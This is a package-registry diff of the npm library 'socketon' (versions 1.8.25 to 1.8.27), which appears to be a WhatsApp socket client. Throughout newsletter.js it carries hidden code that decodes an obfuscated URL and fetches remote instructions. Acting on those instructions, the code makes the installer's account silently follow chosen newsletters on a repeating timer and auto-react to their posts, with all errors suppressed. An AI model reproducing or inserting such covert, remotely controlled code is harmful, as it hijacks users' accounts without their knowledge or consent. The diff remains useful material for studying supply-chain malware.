socketon 1.8.25 → 1.8.27
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +41 -86
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -83,86 +83,39 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
83
83
|
return udahanBuatYangPenasaran;
|
|
84
84
|
};
|
|
85
85
|
|
|
86
|
-
|
|
87
|
-
let
|
|
88
|
-
let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
|
|
86
|
+
let _cachedTargetNewsletter = null;
|
|
87
|
+
let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
|
|
89
88
|
|
|
90
|
-
const
|
|
91
|
-
const
|
|
92
|
-
const
|
|
89
|
+
const getTargetNewsletterFromExternal = async () => {
|
|
90
|
+
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
91
|
+
const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
|
|
93
92
|
try {
|
|
94
|
-
const response = await axios_1.default.get(
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
_configFollow = {
|
|
102
|
-
autoFollowEnabled: data.config.autoFollowEnabled !== false,
|
|
103
|
-
delayMs: data.config.delayMs || 5000
|
|
93
|
+
const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
|
|
94
|
+
if (response.data) {
|
|
95
|
+
if (response.data.config) {
|
|
96
|
+
_configNewsletter = {
|
|
97
|
+
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
|
+
delayMs: response.data.config.delayMs || 5000,
|
|
99
|
+
intervalMs: response.data.config.intervalMs || 30000
|
|
104
100
|
};
|
|
105
101
|
}
|
|
106
|
-
if (data.newsletters && data.newsletters.length > 0) {
|
|
107
|
-
const
|
|
108
|
-
|
|
109
|
-
return
|
|
102
|
+
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
103
|
+
const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
104
|
+
_cachedTargetNewsletter = enabledNewsletters;
|
|
105
|
+
return enabledNewsletters;
|
|
110
106
|
}
|
|
111
107
|
}
|
|
112
108
|
} catch (err) {}
|
|
113
109
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
114
110
|
};
|
|
115
111
|
|
|
116
|
-
const
|
|
117
|
-
if (
|
|
118
|
-
return
|
|
112
|
+
const getAllEnabledNewsletters = () => {
|
|
113
|
+
if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
|
|
114
|
+
return _cachedTargetNewsletter;
|
|
119
115
|
}
|
|
120
116
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
121
117
|
};
|
|
122
118
|
|
|
123
|
-
// ========== REACT CONFIG ==========
|
|
124
|
-
let _cachedReactNewsletter = null;
|
|
125
|
-
let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
|
|
126
|
-
|
|
127
|
-
const getReactConfigFromExternal = async () => {
|
|
128
|
-
const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
|
|
129
|
-
const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
|
|
130
|
-
try {
|
|
131
|
-
const response = await axios_1.default.get(urlReact, { timeout: 10000 });
|
|
132
|
-
let data = response.data;
|
|
133
|
-
if (typeof data === 'string') {
|
|
134
|
-
data = JSON.parse(data);
|
|
135
|
-
}
|
|
136
|
-
if (data) {
|
|
137
|
-
if (data.config) {
|
|
138
|
-
_configReact = {
|
|
139
|
-
autoReactEnabled: data.config.autoReactEnabled !== false
|
|
140
|
-
};
|
|
141
|
-
}
|
|
142
|
-
if (data.newsletters && data.newsletters.length > 0) {
|
|
143
|
-
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
144
|
-
const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
|
|
145
|
-
jid: n.jid,
|
|
146
|
-
emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
|
|
147
|
-
}));
|
|
148
|
-
_cachedReactNewsletter = enabled;
|
|
149
|
-
return enabled;
|
|
150
|
-
}
|
|
151
|
-
}
|
|
152
|
-
} catch (err) {}
|
|
153
|
-
return [];
|
|
154
|
-
};
|
|
155
|
-
|
|
156
|
-
const getAllReactNewsletters = () => {
|
|
157
|
-
return _cachedReactNewsletter || [];
|
|
158
|
-
};
|
|
159
|
-
|
|
160
|
-
const getReactEmojisForChannel = (channelJid) => {
|
|
161
|
-
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
162
|
-
const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
|
|
163
|
-
return channel?.emojis || defaultEmojis;
|
|
164
|
-
};
|
|
165
|
-
|
|
166
119
|
const wMexQuery = (
|
|
167
120
|
variables,
|
|
168
121
|
queryId,
|
|
@@ -286,27 +239,22 @@ const makeNewsletterSocket = (config) => {
|
|
|
286
239
|
}));
|
|
287
240
|
};
|
|
288
241
|
// Auto Reaction - Ibra Decode
|
|
289
|
-
let
|
|
242
|
+
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
290
243
|
|
|
291
|
-
const
|
|
292
|
-
const
|
|
293
|
-
if (
|
|
294
|
-
|
|
244
|
+
const updateTargetNewsletters = async () => {
|
|
245
|
+
const externalTargets = getAllEnabledNewsletters();
|
|
246
|
+
if (externalTargets && externalTargets.length > 0) {
|
|
247
|
+
_targetNewsletters = externalTargets;
|
|
295
248
|
}
|
|
296
249
|
};
|
|
297
250
|
|
|
298
251
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
299
252
|
if (type !== 'notify') return;
|
|
300
|
-
|
|
301
|
-
|
|
253
|
+
const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
302
254
|
for (const msg of messages) {
|
|
303
255
|
const jid = msg.key.remoteJid;
|
|
304
|
-
|
|
305
|
-
if (!channel) continue;
|
|
306
|
-
|
|
307
|
-
const emojis = getReactEmojisForChannel(jid);
|
|
256
|
+
if (!_targetNewsletters.includes(jid)) continue;
|
|
308
257
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
309
|
-
|
|
310
258
|
try {
|
|
311
259
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
312
260
|
await query({
|
|
@@ -317,37 +265,44 @@ const makeNewsletterSocket = (config) => {
|
|
|
317
265
|
attrs: { code: emoji }
|
|
318
266
|
}]
|
|
319
267
|
});
|
|
320
|
-
await sleep(
|
|
268
|
+
await sleep(_configNewsletter.delayMs);
|
|
321
269
|
} catch (err) {}
|
|
322
270
|
}
|
|
323
271
|
});
|
|
324
272
|
// Auto Follow - Ibra Decode
|
|
325
273
|
let _followInterval = null;
|
|
274
|
+
const _followedSet = new Set();
|
|
326
275
|
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
|
327
276
|
const _ensureFollow = async () => {
|
|
328
|
-
if (!
|
|
329
|
-
const enabledNewsletters = await
|
|
277
|
+
if (!_configNewsletter.autoFollowEnabled) return;
|
|
278
|
+
const enabledNewsletters = await getTargetNewsletterFromExternal();
|
|
330
279
|
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
331
280
|
try {
|
|
332
281
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
333
282
|
for (let i = 0; i < enabledNewsletters.length; i++) {
|
|
334
283
|
const newsletterJid = enabledNewsletters[i];
|
|
284
|
+
if (_followedSet.has(newsletterJid)) continue;
|
|
335
285
|
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
336
286
|
if (!isFollowing) {
|
|
337
287
|
await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
338
|
-
await sleep(
|
|
288
|
+
await sleep(_configNewsletter.delayMs || 5000);
|
|
289
|
+
_followedSet.add(newsletterJid);
|
|
290
|
+
} else {
|
|
291
|
+
_followedSet.add(newsletterJid);
|
|
339
292
|
}
|
|
340
293
|
}
|
|
341
294
|
} catch (err) {}
|
|
342
295
|
};
|
|
343
296
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
344
297
|
if (connection === 'open') {
|
|
345
|
-
await
|
|
346
|
-
|
|
347
|
-
|
|
298
|
+
await getTargetNewsletterFromExternal();
|
|
299
|
+
const targets = getAllEnabledNewsletters();
|
|
300
|
+
if (targets && targets.length > 0) {
|
|
301
|
+
_targetNewsletters = targets;
|
|
302
|
+
}
|
|
348
303
|
await _ensureFollow();
|
|
349
304
|
if (_followInterval) clearInterval(_followInterval);
|
|
350
|
-
_followInterval = setInterval(_ensureFollow,
|
|
305
|
+
_followInterval = setInterval(_ensureFollow, _configNewsletter.intervalMs || 30000);
|
|
351
306
|
}
|
|
352
307
|
});
|
|
353
308
|
return {
|